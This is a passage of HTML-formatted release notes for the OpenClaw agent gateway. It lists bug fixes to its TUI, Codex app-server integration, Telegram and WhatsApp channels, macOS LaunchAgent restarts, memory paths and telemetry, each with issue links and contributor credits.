<li>Windows installer: fail Git checkout installs when <code>pnpm install</code> or <code>pnpm build</code> fails instead of writing a wrapper to a missing CLI build.</li>
<li>Sessions: surface previous-transcript archive failures during <code>/new</code> rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450603065" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81984/hovercard" href="https://github.com/openclaw/openclaw/issues/81984">#81984</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506566941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85586/hovercard" href="https://github.com/openclaw/openclaw/pull/85586">#85586</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452599340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82081" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82081/hovercard" href="https://github.com/openclaw/openclaw/pull/82081">#82081</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xghost42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xghost42">@0xghost42</a>.</li>
<li>TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in <code>openclaw tui</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506023907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85538" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85538/hovercard" href="https://github.com/openclaw/openclaw/issues/85538">#85538</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danpolasek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danpolasek">@danpolasek</a>.</li>
<li>Gateway/TUI: preserve source-reply metadata through reply normalization and emit message-tool-only agent replies over the live chat stream so <code>openclaw tui</code> renders Codex replies without waiting for a history refresh. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Codex/TUI: keep long source-reply runs alive after Codex reasoning completes so delayed visible <code>message</code> calls can still reach <code>openclaw tui</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>TUI: keep quiet active runs busy after the response watchdog notice instead of reopening the prompt and encouraging duplicate submissions while the backend turn is still running. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents: preserve the latest assistant thinking blocks while stripping invalid replay signatures from older turns, and retry Anthropic thinking failures without thinking replay. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506261816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85557" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85557/hovercard" href="https://github.com/openclaw/openclaw/issues/85557">#85557</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanbaer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanbaer">@bryanbaer</a>.</li>
<li>Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456042108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82263/hovercard" href="https://github.com/openclaw/openclaw/pull/82263">#82263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luna-system/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luna-system">@luna-system</a>.</li>
<li>Telegram: avoid false pairing prompts after transient pairing-store read failures while preserving configured <code>allowFrom</code> and per-DM pairing authorization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>)</li>
<li>Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224755918" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63167" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63167/hovercard" href="https://github.com/openclaw/openclaw/pull/63167">#63167</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458576707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82444/hovercard" href="https://github.com/openclaw/openclaw/pull/82444">#82444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491329251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84775/hovercard" href="https://github.com/openclaw/openclaw/pull/84775">#84775</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>.</li>
<li>Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.</li>
<li>QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416570826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80397" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80397/hovercard" href="https://github.com/openclaw/openclaw/issues/80397">#80397</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>WhatsApp: persist inbound message delivery state through plugin state before dispatch and delay read receipts until handler completion, so retryable failures can redeliver without adding a plugin-local disk cache. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3953968159" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/19328/hovercard" href="https://github.com/openclaw/openclaw/pull/19328">#19328</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeReclaimers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeReclaimers">@CodeReclaimers</a>.</li>
<li>Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.</li>
<li>Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505443171" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85500/hovercard" href="https://github.com/openclaw/openclaw/pull/85500">#85500</a>)</li>
<li>Restore Control UI gateway token pairing [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504391156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85459/hovercard" href="https://github.com/openclaw/openclaw/pull/85459">#85459</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>OpenAI video: send uploaded video edit requests to the documented <code>/videos/edits</code> endpoint with a <code>video</code> file instead of posting MP4 references to <code>/videos</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: repair managed npm plugin <code>openclaw</code> peer links during post-core convergence and reject stale or wrong-target peer links before restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473034358" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83794/hovercard" href="https://github.com/openclaw/openclaw/pull/83794">#83794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4094569524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49769" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49769/hovercard" href="https://github.com/openclaw/openclaw/pull/49769">#49769</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gcaufy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gcaufy">@Gcaufy</a>.</li>
<li>Codex app-server: let authorized <code>/codex</code> control commands such as <code>/codex detach</code> escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499059714" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85157" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85157/hovercard" href="https://github.com/openclaw/openclaw/issues/85157">#85157</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499435509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85188/hovercard" href="https://github.com/openclaw/openclaw/pull/85188">#85188</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Auto-reply/models: keep <code>/models</code> browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490684687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84735/hovercard" href="https://github.com/openclaw/openclaw/pull/84735">#84735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/safrano9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/safrano9999">@safrano9999</a>.</li>
<li>Browser/Doctor: read macOS Chrome app bundle versions from <code>Info.plist</code> before spawning Chrome and extend the fallback version probe timeout, avoiding false cold-cache warnings from Gatekeeper latency. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503650489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85418" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85418/hovercard" href="https://github.com/openclaw/openclaw/issues/85418">#85418</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidcittadini/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidcittadini">@davidcittadini</a>.</li>
<li>Codex app-server: disable native Code Mode when the effective exec host is <code>node</code> and keep OpenClaw <code>exec</code>/<code>process</code> available, so <code>/exec host=node</code> routes shell commands through the selected node instead of the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497727664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85090/hovercard" href="https://github.com/openclaw/openclaw/pull/85090">#85090</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494569724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84949/hovercard" href="https://github.com/openclaw/openclaw/pull/84949">#84949</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Gateway/agents: return phase-aware <code>agent.wait</code> timeout attribution and only cool auth profiles on provider-started timeouts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65504" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65504/hovercard" href="https://github.com/openclaw/openclaw/issues/65504">#65504</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway/systemd: launch managed update handoff helpers in a transient user scope so systemd-supervised Update Now flows survive the gateway unit restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476025450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84068" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84068/hovercard" href="https://github.com/openclaw/openclaw/issues/84068">#84068</a>.</li>
<li>Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500834987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85272/hovercard" href="https://github.com/openclaw/openclaw/pull/85272">#85272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.</li>
<li>Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.</li>
<li>Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.</li>
<li>CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498492729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85120/hovercard" href="https://github.com/openclaw/openclaw/issues/85120">#85120</a>.</li>
<li>Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488288195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84630/hovercard" href="https://github.com/openclaw/openclaw/issues/84630">#84630</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488410216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84641" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84641/hovercard" href="https://github.com/openclaw/openclaw/pull/84641">#84641</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490404700" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84721" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84721/hovercard" href="https://github.com/openclaw/openclaw/issues/84721">#84721</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490407392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84722/hovercard" href="https://github.com/openclaw/openclaw/pull/84722">#84722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/googlerest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/googlerest">@googlerest</a>.</li>
<li>Gateway/service: include the active <code>openclaw</code> command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478626262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84201/hovercard" href="https://github.com/openclaw/openclaw/issues/84201">#84201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483865879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84475/hovercard" href="https://github.com/openclaw/openclaw/pull/84475">#84475</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476067404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84069/hovercard" href="https://github.com/openclaw/openclaw/issues/84069">#84069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DrippingMellow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DrippingMellow">@DrippingMellow</a>.</li>
<li>Memory: expand <code>~</code> in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174961637" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58026" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58026/hovercard" href="https://github.com/openclaw/openclaw/issues/58026">#58026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stadman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stadman">@stadman</a>.</li>
<li>Skills: treat <code>openclaw.os: macos</code> as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207464550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61338/hovercard" href="https://github.com/openclaw/openclaw/issues/61338">#61338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jessecq1995/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jessecq1995">@Jessecq1995</a>.</li>
<li>Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240403085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64399/hovercard" href="https://github.com/openclaw/openclaw/issues/64399">#64399</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guguangxin-eng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guguangxin-eng">@guguangxin-eng</a>.</li>
<li>Docker: pre-create the workspace and auth-profile config mount points with <code>node</code> ownership so first-run named volumes do not start root-owned. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497404130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85076/hovercard" href="https://github.com/openclaw/openclaw/issues/85076">#85076</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497655282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85085/hovercard" href="https://github.com/openclaw/openclaw/issues/85085">#85085</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShuaiHui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShuaiHui">@ShuaiHui</a>.</li>
<li>Diagnostics/OTel: drop snake_case diagnostic id attributes alongside camelCase ids so exported telemetry cannot leak run, session, message, chat, trace, or tool-call identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333535987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72645" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72645/hovercard" href="https://github.com/openclaw/openclaw/pull/72645">#72645</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lion0710/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lion0710">@Lion0710</a>.</li>
<li>CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463010272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83026/hovercard" href="https://github.com/openclaw/openclaw/pull/83026">#83026</a>)</li>
<li>Agents/providers: honor per-model <code>api</code> and <code>baseUrl</code> overrides in custom provider auth hooks and transport selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417428084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80487/hovercard" href="https://github.com/openclaw/openclaw/issues/80487">#80487</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417429259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80488/hovercard" href="https://github.com/openclaw/openclaw/pull/80488">#80488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huveewomg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huveewomg">@huveewomg</a>.</li>
<li>Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493066623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84890/hovercard" href="https://github.com/openclaw/openclaw/pull/84890">#84890</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myps6415/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myps6415">@myps6415</a>.</li>
<li>CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473282252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83808" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83808/hovercard" href="https://github.com/openclaw/openclaw/issues/83808">#83808</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473943472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83875/hovercard" href="https://github.com/openclaw/openclaw/pull/83875">#83875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
